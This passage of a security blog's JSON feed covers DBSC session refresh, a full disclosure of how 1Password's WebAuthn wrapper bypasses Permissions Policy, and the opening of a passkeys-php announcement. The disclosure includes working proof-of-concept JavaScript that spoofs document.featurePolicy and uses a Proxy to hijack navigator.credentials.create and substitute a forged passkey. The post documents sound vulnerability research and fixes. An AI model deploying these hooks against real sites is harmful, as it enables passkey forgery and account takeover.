the new DBSC cookie, but also the <em>next</em> challenge.</p><pre><code class=\"language-http\">Secure-Session-Challenge: \"ghi789\"; id=\"9c2b7f3e1a\"</code></pre><p></p><p>This means that the next refresh can now become a one-step refresh as the first roundtrip to fetch the challenge can be completely skipped, the browser already has it!</p><p>We now know the only scenario where you're going to see a two-step refresh is if the browser doesn't have the challenge. The two most likely causes for this are:</p><ol><li>The first refresh after registration for an active session.</li><li>A delayed refresh after the DBSC cookie and challenge have expired.</li></ol><p></p><p>The first of these seems odd at a glance. The browser has just registered for DBSC and got the first DBSC cookie, how can it possibly not have the next challenge? The reason is that the application can't send the next challenge on the response that creates the DBSC session on the browser. As a DBSC session hasn't been created on the browser yet, there is no session to store the challenge against. The challenge has to be sent <em>after</em> registration. To solve this, the application can pre-emptively send the next challenge on any response to the browser after registration has completed, it doesn't have to be a response to a DBSC-based request. You can send it the next time the browser loads a page, for example:</p><pre><code class=\"language-http\">GET /account/home HTTP/1.1</code></pre><pre><code class=\"language-http\">HTTP/1.1 200 OK\nContent-Type: text/html\nSecure-Session-Challenge: \"ghi789\"; id=\"9c2b7f3e1a\"\n\n<html>\n...\n</html>\n</code></pre><p></p><p>This is what Report URI currently does in production. After DBSC has been successfully registered, the next navigation will trigger the challenge to be sent to the browser. Of course, the other option is that the application doesn't have to worry about this and it can just allow that first refresh after registration to be a two-step process. It's happening asynchronously in the background, so it's not a huge loss. </p><p>The second scenario that you're always going to see a two-step refresh process is if you've had a tab in the background for a while and both the DBSC cookie and the challenge have expired. There's no way around this one and a two-step process here is expected to seed the new refresh cycle, which will be one-step from then onwards. </p><p></p><h4 id=\"privacy-concerns\">Privacy Concerns</h4><p>Being able to bind a unique and reliable identifier to a device is an incredibly powerful security mechanism, but it could also provide the ability to be a dangerous tracking mechanism too. The <a href=\"https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io#privacy-considerations\" rel=\"noreferrer\">spec</a> immediately set out to address potential privacy concerns and during our implementation, testing and usage of DBSC, I've not yet found anything that would be a concern from a privacy standpoint. The biggest solution to head off a problem is that the key pair used for DBSC is not persistent, each new DBSC session gets a new key pair. This means you can't even use DBSC to track a physical device across different sessions on the same website, let alone across different sites. There are also additional privacy considerations:</p><ul><li>Lifetime of a session/key material: This should provide no additional client data storage (i.e., a pseudo-cookie). As such, we require that browsers MUST clear sessions and keys when clearing other site data (like cookies).</li><li>Implementing this API should not meaningfully increase the entropy of heuristic device fingerprinting signals. In particular, DBSC should not leak any stable device identifiers.</li><li>As this API MAY allow background \"pings\" for performance, this must not enable long-term tracking of a user when they have navigated away from the connected site.</li><li>Each session has a separate new key created, and it should not be possible to detect that different sessions are from the same device.</li></ul><p></p><h3 id=\"client-support\">Client Support</h3><p>As it stands right now, we have support for DBSC in Chrome on Windows (<a href=\"https://developer.chrome.com/blog/dbsc-windows-announcement)?ref=scotthelme.ghost.io\" rel=\"noreferrer\">announcement</a>), and it looks like we could get it soon on <a href=\"https://chromestatus.com/feature/5140168270413824?ref=scotthelme.ghost.io\" rel=\"noreferrer\">macOS too</a>, I'd guess at some point in 2026. Microsoft have also done an origin trial in Edge so there are some good indications coming from them too, they've merged their BPOP work in to DBSC. We're still waiting on a recent position from Mozilla, their last statements were made back in <a href=\"https://github.com/mozilla/standards-positions/issues/912?ref=scotthelme.ghost.io\" rel=\"noreferrer\">2023</a>. </p><p>The good news is that DBSC will gracefully fall back and have no impact on clients that don't support it, so we can deploy it now and protect a subset of our users that will only grow over time.</p><p></p><h3 id=\"sources\">Sources</h3><p><a href=\"https://developer.chrome.com/docs/web-platform/device-bound-session-credentials?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Device Bound Session Credentials (DBSC) | Chrome for Developers</a><br><a href=\"https://developer.chrome.com/blog/dbsc-windows-announcement?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Device Bound Session Credentials now available on Windows | Chrome for Developers</a><br><a href=\"https://developer.chrome.com/blog/dbsc-origin-trial?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Origin trial: Device Bound Session Credentials in Chrome | Chrome for Developers</a><br><a href=\"https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Device Bound Session Credentials (W3C draft spec)</a><br><a href=\"https://github.com/w3c/webappsec-dbsc?ref=scotthelme.ghost.io\" rel=\"noreferrer\">w3c/webappsec-dbsc spec repo</a></p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "DBSC",
              "term": "DBSC",
              "url": null
            },
            {
              "label": "PHP",
              "term": "PHP",
              "url": null
            }
          ]
        },
        {
          "id": "69fef61c9c3a0c0001b5ea06",
          "title": "Passkeys, Permissions Policy and Bug Hunting in 1Password's WebAuthn Wrapper",
          "description": "<p>Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.</p><p>While investigating WebAuthn behaviour, I</p>",
          "url": "https://scotthelme.ghost.io/passkeys-permissions-policy-and-bug-hunting-in-1passwords-webauthn-wrapper/",
          "published": "2026-05-21T14:40:02.000Z",
          "updated": "2026-05-21T14:40:02.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png\" alt=\"Passkeys, Permissions Policy and Bug Hunting in 1Password's WebAuthn Wrapper\"><p>Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.</p><p>While investigating WebAuthn behaviour, I found that 1Password’s browser extension could bypass one of those rules. A page could disable passkey creation and authentication with Permissions Policy, the browser would correctly block the native WebAuthn API, but 1Password’s wrapper could still broker a working passkey ceremony.</p><p>This post walks through what I found, what a fix looks like, and why Content Security Policy and Permissions Policy remain useful defence-in-depth mechanisms when JavaScript goes rogue.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-4.png\" class=\"kg-image\" alt=\"Passkeys, Permissions Policy and Bug Hunting in 1Password's WebAuthn Wrapper\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-4.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"enter-the-password-manager\">Enter the password manager</h3><p>Password managers that support passkeys often need to act as an authenticator, so they wrap <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code> on the page. This is fine if the wrapper preserves every guarantee the native API gave you, and 1Password's browser extension implements its passkey support by sitting in front of the browser's native WebAuthn API.</p><p>When the 1Password content script loads, it replaces <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code>, plus the three <code>PublicKeyCredential.*</code> capability-probe methods, with its own functions, so that when a site calls into WebAuthn, 1Password can offer to save or fill a passkey from the vault instead of — or in addition to — the platform authenticator.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/1password-logo-dark.svg\" class=\"kg-image\" alt=\"Passkeys, Permissions Policy and Bug Hunting in 1Password's WebAuthn Wrapper\" loading=\"lazy\" width=\"136\" height=\"26\"></figure><p></p><p>In the version I originally reported against (8.12.12.44), that replacement was done the simplest possible way: direct property assignment. The installer function just wrote the wrapper onto the live <code>navigator.credentials</code> object, and a second function re-applied it on a 100ms timer so that if anything clobbered it, 1Password would quietly put it back:</p><pre><code class=\"language-js\">var E = () => {\n    window.navigator.credentials.create = B;   // B = the create wrapper\n    window.navigator.credentials.get = G;      // G = the get wrapper\n    window.PublicKeyCredential.isConditionalMediationAvailable = J;\n    window.PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable = j;\n    window.PublicKeyCredential.getClientCapabilities = V;\n};\nfunction L() {\n    window.navigator.credentials && (p(), E(), setInterval($, 100));\n}</code></pre><p></p><p>The wrapper these functions installed (<code>B</code> for create) was the minified one-liner that became the centrepiece of my disclosure. It checks <code>publicKey.hints</code>, then routes either to 1Password's own implementation <code>W(e)</code> or to the saved native call <code>u.credentials.create(e)</code>:</p><pre><code class=\"language-js\">async function B(e) {\n    return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);\n}</code></pre><p></p><p>Two properties of this design matter for an attack. First, the wrapper never consults the document's Permissions-Policy, so a page that sends <code>Permissions-Policy: publickey-credentials-create=()</code>, which makes the native API reject, still gets a fully functional 1Password ceremony, because the extension's code runs in front of the native enforcement and simply doesn't replicate it. Second, the underlying main-world ⇄ content-script message bus that the wrapper uses to talk to the rest of the extension has no per-page authentication: its <code>validateMessage</code> routine only checks that structural fields are present and well-typed:</p><pre><code class=\"language-js\">return h(n.msgId) ? h(n.source) ? h(n.name)\n    ? (/* type must be one of the op-window-* values */) ? !0 : !1\n    : !1 : !1 : !1;</code></pre><p></p><p>No nonce, no shared secret, and no signed envelope. And because <code>navigator.credentials.create</code> was a plain writable data property, page JavaScript could overwrite it outright. That is exactly what a supply-chain or stored-XSS payload can do: replace the function, let the user complete a genuine biometric prompt, then substitute an attacker-generated keypair before the credential reaches the server. The website gets the attacker's passkey, and 1Password stores a different one. </p><p></p><p>1Password closed my issues as Informative and their reasoning makes a lot of sense. Everything I'd shown requires an attacker to have JavaScript executing in the RP's main world, with an XSS vulnerability or JavaScript supply-chain compromise being the most likely candidates. </p><ol><li>I covered the account-takeover vector in my previous post <a href=\"https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none?ref=scotthelme.ghost.io\" rel=\"noreferrer\">XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None</a>, and it could be carried out by any attacker with XSS on an RP that accepts <code>attestation: \"none\"</code>. It's fair to state that this is not a 1Password vulnerability.</li><li>Establishing a secret between an isolated-world content script and a main-world stub, through a channel co-resident main-world JS provably cannot reach, is a genuinely hard problem and drawing a threat boundary here is also fair to do.</li><li>I agree with drawing a threat boundary around generic XSS-driven account takeover, but I still think the Permissions Policy bypass is different. The site explicitly removed WebAuthn capability from the page, the browser honoured that decision, and the extension handed that capability back.</li></ol><p></p><h3 id=\"fixing-the-permissions-policy-bypass\">Fixing the Permissions Policy Bypass</h3><p>Sites that load third-party code like analytics, tag managers, chat widgets, CDN dependencies and more, can send the following header.</p><p><code>Permissions-Policy: publickey-credentials-create=(), publickey-credentials-get=()</code></p><p></p><p>This will deliberately strip WebAuthn capabilities from those pages, and those capabilities can then be enabled only on pages that the site expects to use them, like their hardened <code>/login</code> or <code>/account/security</code> endpoints. It's a browser-enforced control that the call rejects with <code>NotAllowedError</code> before any UI appears. The 1Password wrapper silently bypasses this. Its <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code> wrappers run in the page's main world and never check the document's Permissions-Policy, so the capability the website deliberately withdrew is handed straight back, <em>but only when the 1Password extension is installed</em>. The site did everything right, the browser enforced it correctly, and a trusted extension, not the attacker, reopened the door for the compromised script to drive a passkey ceremony the page expressly forbade.</p><p>To solve this issue, my first instinct was to bolt the check onto the wrapper, which is exactly what I proposed in my report, but that idea doesn't stand up to much scrutiny.</p><pre><code class=\"language-js\">async function B(e) {\n    const pp = document.permissionsPolicy || document.featurePolicy;\n    if (pp && !pp.allowsFeature('publickey-credentials-create')) {\n        throw new DOMException(\n            'The operation is not allowed by the document Permissions Policy.',\n            'NotAllowedError'\n        );\n    }\n    return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);\n}</code></pre><p></p><p>Against an unsophisticated payload this could well work, but ultimately it's a security decision being made in the wrong place. 1Password's <code>B</code>/<code>W</code> wrappers run in the page's main world, which is the entire reason the page can see a replaced <code>navigator.credentials.create</code>, which means the value the guard reads is attacker-reachable:</p><pre><code class=\"language-js\">// attacker, page main world\nObject.defineProperty(document, 'featurePolicy', {\n    get: () => ({ allowsFeature: () => true })\n});</code></pre><p></p><p>Now <code>pp.allowsFeature(...)</code> returns <code>true</code>, the guard falls through, and the ceremony proceeds on a page whose real policy forbids it. A check is only as trustworthy as the context it executes in, and the main world is, by construction, the context the attacker controls. This is the same reason a per-page bridge token stashed in main-world JS doesn't hold, and it's why 1Password's \"your mitigation lives with the attacker\" was a fair objection to my suggestion. </p><p>The fix is to move the decision out of the main world and into the extension's isolated world, the content script. A content script shares the page's DOM but has a separate JavaScript heap that page script cannot read or patch, and its <code>document.featurePolicy</code> resolves to the genuine, browser-computed policy for that frame, including the <code>=()</code>, <code>=(self)</code>, and cross-origin-iframe cases. Page JS cannot make the isolated world's view lie. So the gate belongs on the bridge handler that brokers the ceremony, before anything is forwarded to the background or native helper:</p><pre><code class=\"language-js\">const PP_FEATURE = {\n    'create-credential': 'publickey-credentials-create',\n    'get-credential':    'publickey-credentials-get',\n};\n\nfunction permissionsPolicyAllows(routeName) {\n    const feature = PP_FEATURE[routeName];\n    if (!feature) return true; // not a WebAuthn route\n    const pp = document.permissionsPolicy || document.featurePolicy;\n    // No policy object → treat as allowed (legacy/unsupported); a present\n    // policy is authoritative and cannot be patched from the main world.\n    return !pp || pp.allowsFeature(feature);\n}\n\n// Wherever the content script receives a brokered WebAuthn request from the\n// bridge, refuse it here — fail closed — before any message reaches the\n// background service worker or the native app.\nfunction handleBridgeRequest(msg) {\n    if (!permissionsPolicyAllows(msg.name)) {\n        return respond(msg, {\n            type: 'create-credential-error',\n            data: { reason: 'permissions-policy-denied' },\n        });\n    }\n    return forwardToBackground(msg);\n}</code></pre><p></p><p>The extension can read the true Permissions Policy because the isolated world observes the same page the attacker is in but cannot be entered or tampered with from the page's main world; the native ceremony is brokered further still, through the background service worker and the native app over native messaging, none of which page script can reach. Enforced here and failing closed, every route from my reports is closed at once: calling the native API directly still hits the browser's own rejection; spoofing <code>document.featurePolicy</code> only fools the main world, not the isolated-world gate; and forging bridge messages to disable interception just falls through to the native API, which also rejects. Critically, this is the same architectural move required to authenticate the bridge, stop trusting the main world for security decisions and make the content script the authority.</p><p>To be crystal clear: this control doesn't stop a compromised script from registering a passkey directly with an RP that accepts <code>attestation: \"none\"</code>, nothing on the client can do that (see my <a href=\"https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">previous blog post</a>). An attacker with page script can always synthesise a <code>fmt:\"none\"</code> credential in JavaScript and POST it straight to the RP's enrolment endpoint. What <code>publickey-credentials-create=()</code> removes is the page's ability to invoke a genuine <code>navigator.credentials.create()</code> ceremony, a real prompt, a real authenticator, a real attestation, so the only thing it can still produce is an unattested forgery the RP  is free to reject. 1Password's extension bypass hands back to the malicious script exactly the legitimate-looking ceremony the policy was meant to deny.</p><p>The same distinction matters for login, not just registration. The worse problem is an escalation wherever the script does not already have the user's authenticated session for that origin: any logged-out page, a pre-auth surface, or the kind of third-party-heavy page a site deliberately locks down with <code>publickey-credentials-get=()</code> precisely because it loads code it doesn't fully trust. A compromised analytics or tag-manager script on such a page cannot ride a session that does not exist, and the platform guarantee is that it cannot invoke a credential ceremony either. That guarantee is the entire point of the policy. 1Password's bypass removes it, handing that malicious script a genuine, user-approvable login ceremony whose assertion it can rely straight back to the RP. The only case where this doesn't matter is a script already running inside the authenticated app, where there's a live session to abuse regardless — and that is not the scenario this policy exists to defend. </p><p></p><h3 id=\"an-extension-update-shortly-after-my-report\">An Extension Update Shortly After My Report</h3><p>Shortly after my report, 1Password released an extension update (8.12.20.10). After installing the update, I noticed that one of the PoCs I'd created had stopped working. They seemed to have changed something, so I dug in.</p><p>After diffing the two builds of the extension, the vast majority of the changes were cosmetic, but a change to <code>webauthn-listeners.js</code> caught my eye. The change was not in what the 1Password wrappers did, but in how they were installed. The plain assignment and the <code>setInterval</code> polling loop were gone, and in their place, each method is defined as a non-configurable accessor property whose getter always returns 1Password's wrapper and whose setter is a no-op that merely logs a warning:</p><pre><code class=\"language-js\">Object.defineProperty(parentRef, methodName, {\n    configurable: false,\n    enumerable: true,\n    get() { return newMethod; }, // always returns 1P's wrapper\n    set() {\n        console.warn(`Cannot overwrite ${loggableLabel} method while 1Password is enabled`);\n    }\n});</code></pre><p></p><p>I jumped to the console on the PoC page and I could indeed see the new console warning:</p><pre><code>Cannot overwrite navigator.credentials.create method while 1Password is enabled</code></pre><p></p><p>The behavioural change is subtle, but important. Previously, <code>navigator.credentials.create = evil</code> worked, at least until the next polling tick re-applied 1Password's version. In the newer build the same statement neither throws nor takes effect: the assignment hits a no-op setter, is silently swallowed, and the console shows the warning above. The property is now a non-configurable accessor, so page script can no longer replace or shadow the injected WebAuthn shim.</p><p>This landed shortly after my report, so I asked 1Password directly whether the two were connected. They said they were not: the change came from a separate, pre-existing hardening track aimed at a different surface (session-delegation <code>CustomEvents</code> in another content script), as part of rolling a non-configurable-accessor pattern broadly across the extension's main-world stubs as defence-in-depth, the WebAuthn wrapper being one of several, in the same build. Internal motivation isn't something I can verify from outside, and timing alone doesn't establish it, so I'll happily take that at face value.</p><p>The interesting part doesn't depend on the motivation, though. Whichever track it came from, the extension is now applying tamper-resistance to precisely the surface in question; page-side replacement of the WebAuthn API by attacker-controlled JavaScript in the RP's main world. Something that 1Password's own threat model treats as out of scope. They are hardening, as routine hygiene, a path they simultaneously decline to treat as a vulnerability. That tension is the point, and it stands whether or not my report had anything to do with the change.</p><p>It's also worth being precise about what this change is and isn't. Making the accessor non-configurable protects the integrity of the wrapper so page script can't clobber it. It does nothing about whether the wrapper, once invoked, honours Permissions Policy. Those are independent: a tamper-proof shim that still ignores <code>publickey-credentials-get=()</code> / <code>publickey-credentials-create=()</code> is exactly as policy-blind as it was before. This hardening does not touch the Permissions Policy override described earlier, and 1Password's response commits to no fix for that, so it remains.</p><p></p><h3 id=\"updating-the-poc-to-work-again\">Updating the PoC to Work Again</h3><p>Our \"Gesture-Preserving Forgery\" demo (<a href=\"https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys Demo 2</a>) ships an attacker payload that hooks <code>navigator.credentials.create</code>, lets the user complete a real ceremony, then swaps in a JavaScript-generated keypair before the page POSTs the credential to <code>/register/finish</code>. The password manager stores a passkey, but it's the wrong one. The passkey registered with the service was one controlled by the attacker.</p><p>The malicious payload on that demo page installed its hook the classic way:</p><pre><code class=\"language-js\">navigator.credentials.create = async function (opts) { /* … forge … */ };</code></pre><p></p><p>On the new version of the extension, that's exactly what the newly introduced setter swallows. The malicious hook is never installed, the console shows me the new warning, and the demo no longer works. The fix only took a little wrangling after I noticed that the new lock protects the leaf <code>get</code>/<code>create</code> properties and not the path to get there, <code>navigator.credentials</code> itself. The first attempt has been kept as direct assignment to <code>create</code>, but if that doesn't take, we fall back to replacing <code>navigator.credentials</code> with a <code>Proxy</code> and returning our own hook for <code>create</code> whilst transparently passing everything else through. </p><pre><code class=\"language-js\">let installed = false;\ntry {\n    navigator.credentials.create = hijackCreate;\n    installed = navigator.credentials.create === hijackCreate;\n} catch (e) { /* non-configurable property with a throwing setter */ }\n\nif (!installed) {\n    // 1Password locked the `create` property — but not the container.\n    const fakeContainer = new Proxy(realContainer, {\n        get(target, prop) {\n            if (prop === 'create') return hijackCreate;\n            const value = Reflect.get(target, prop, target);\n            return typeof value === 'function' ? value.bind(target) : value;\n        },\n    });\n    const shadow = { configurable: true, enumerable: true, get() { return fakeContainer; } };\n    try {\n        Object.defineProperty(Navigator.prototype, 'credentials', shadow);\n        installed = navigator.credentials === fakeContainer;\n    } catch (e) { /* try the instance next */ }\n    if (!installed) {\n        try {\n            Object.defineProperty(navigator, 'credentials', shadow);\n            installed = navigator.credentials === fakeContainer;\n        } catch (e) { /* give up */ }\n    }\n}</code></pre><p></p><p>1Password's patch stops the property swap but not the underlying forgery, because a non-configurable accessor on <code>navigator.credentials.create</code> only protects that one leaf, leaving the path to it (<code>navigator.credentials</code>, <code>Navigator.prototype.credentials</code>,<code> window.PublicKeyCredential</code>) fully attacker-controllable. For now, that brings <a href=\"https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys Demo 2</a> back to life, and I'd be interested to hear about the behaviour you see on this page in the presence of other browser extensions or other software you might have installed that could interact with the WebAuthn process. Drop your comments down below!</p><p></p><h3 id=\"permissions-policy-and-content-security-policy\">Permissions Policy and Content Security Policy</h3><p><a href=\"https://report-uri.com/products/permissions_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Permissions Policy</a> and <a href=\"https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Content Security Policy</a> are both defence-in-depth security measures, you get to declare what a page is allowed to do, which capabilities exist, which origins may run script, and the browser enforces it before anything else happens. </p><p>Crucially, both of these headers can also send telemetry when something happens that isn't supposed to happen. Report URI collects those telemetry events at scale and turns them into something you can act on. The third-party script that suddenly tried to reach a capability it shouldn't, the CDN dependency that started pulling resources from a new origin, the moment your own policy began doing real work. That visibility is the whole point.</p><p>The ultimate solution to the problems raised in this post is \"duh, don't get XSS in the first place\", but I bet that's already everyone's goal. Despite that, XSS was the Top Threat of <a href=\"https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">2024</a>, <a href=\"https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">2025</a>, and it's already pulling out ahead of everything else in 2026. Just last week it was <a href=\"https://www.bleepingcomputer.com/news/security/instructure-confirms-hackers-used-canvas-flaw-to-deface-portals/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">revealed</a> that the Instructure / Canvas breach began with multiple XSS vulnerabilities that allowed session hijacking of admin accounts. They've since “reached an agreement” with the threat actor, which may have involved paying a hefty ransom. CSP is easier to start with than many people expect. You do not need a perfect policy on day one; even report-only mode can start giving you useful telemetry about what code is running in the browser. You can refer to our dedicated <a href=\"https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys solutions page</a> for more info.</p><p></p><h3 id=\"disclosure-and-closing\">Disclosure and Closing</h3><p>Passkeys are still a better option and the right answer to many problems. This blog post shouldn't discourage anyone from using them. The ecosystem around passkeys is still young, passkeys have definitely not had as long to mature as passwords have!</p><p>Reported to 1Password on 8th May 2026<br>Issue closed by 1Password on 14th May 2026<br>Extension v8.12.20.10 build date 14th May 2026<br>Extension v8.12.20.10 <a href=\"https://chromewebstore.google.com/detail/1password-%E2%80%93-password-mana/aeblfdkhhhdcdjpifhhbdiojplfjncoa?hl=en&ref=scotthelme.ghost.io\" rel=\"noreferrer\">release date</a> 15th May 2026<br>Bridge Spoof PoC (same-origin script): <a href=\"https://report-uri-demo.com/passkeys/5/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">link</a><br>Bridge Spoof PoC (third-party script): <a href=\"https://report-uri-demo.com/passkeys/6/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">link</a><br>Wrapper override PoC: <a href=\"https://report-uri-demo.com/passkeys/3/?protected&ref=scotthelme.ghost.io\" rel=\"noreferrer\">link</a><br></p><p></p><p></p>\n<!--kg-card-begin: html-->\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css\" integrity=\"sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\">\n<style>\n  pre[class*=\"language-\"] {\n      font-size: 0.75em;\n  }\n</style>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js\" integrity=\"sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-javascript.min.js\" integrity=\"sha512-jwrwRWZWW9J6bjmBOJxPcbRvEBSQeY4Ad0NEXSfP0vwYi/Yu9x5VhDBl3wz6Pnxs8Rx/t1P8r9/OHCRciHcT7Q==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<!--kg-card-end: html-->",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            },
            {
              "label": "Permissions Policy",
              "term": "Permissions Policy",
              "url": null
            },
            {
              "label": "Content Security Policy",
              "term": "Content Security Policy",
              "url": null
            }
          ]
        },
        {
          "id": "6a09db9d197769000166677a",
          "title": "Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP",
          "description": "<p>We've open-sourced <a href=\"https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io\" rel=\"noreferrer\">passkeys-php</a>, the WebAuthn server library we use at Report URI to protect logins with passkeys, security keys, and platform authenticators like Touch ID, Face ID, and Windows Hello.</p><p>It started as a set of local security fixes for our own production passkeys implementation. Now,</p>",
          "url": "https://scotthelme.ghost.io/open-sourcing-passkeys-php-a-security-focused-webauthn-library-for-php/",
          "published": "2026-05-20T12:16:58.000Z",
          "updated": "2026-05-20T12:16:58.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png\" alt=\"Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP\"><p>We've open-sourced <a href=\"https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io\" rel=\"noreferrer\">passkeys-php</a>, the WebAuthn server library we use at Report URI to protect logins with passkeys, security keys, and platform authenticators like Touch ID, Face ID, and Windows Hello.</p><p>It started as a set of local security fixes for our own production passkeys implementation. Now, rather than carrying those patches privately, we’re releasing them as a small, auditable, MIT-licensed PHP library for everyone else building normal passkey login flows.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-3.png\" class=\"kg-image\" alt=\"Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-3.png 800w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>To get started: <code>composer require report-uri/passkeys-php</code><br>Packagist: <a href=\"https://packagist.org/packages/report-uri/passkeys-php?ref=scotthelme.ghost.io\">https://packagist.org/packages/report-uri/passkeys-php</a></p><p></p><h3 id=\"why-we-built-it\">Why We Built It</h3><p>Our <code>passkeys-php</code> is a maintained fork of the excellent <a href=\"https://github.com/lbuchs/WebAuthn?ref=scotthelme.ghost.io\" rel=\"noreferrer\">lbuchs/WebAuthn</a>, forked at upstream v2.2.0. We wanted to preserve what made that library appealing: it was small, lightweight, and understandable enough that you could actually read the code guarding your logins.</p><p>The catch was that the upstream is effectively dormant. When we had Report URI's passkeys integration <a href=\"https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">penetration tested</a>, the assessment surfaced several WebAuthn conformance issues. We <a href=\"https://github.com/lbuchs/WebAuthn/issues?q=is%3Apr+is%3Aopen+author%3AScottHelme&ref=scotthelme.ghost.io\" rel=\"noreferrer\">wrote fixes and submitted them as PRs</a> upstream, but they haven't been merged. Rather than carry a stack of local patches indefinitely — and leave everyone else on the same library exposed — we're shipping the fixes inline and in the open.</p><p></p><h3 id=\"what-we-fixed\">What We Fixed</h3><p>Each fix is its own commit on <code>main</code> so you can audit exactly what changed and why if you'd like, but the summary is below. These were not cosmetic changes; they were the kinds of 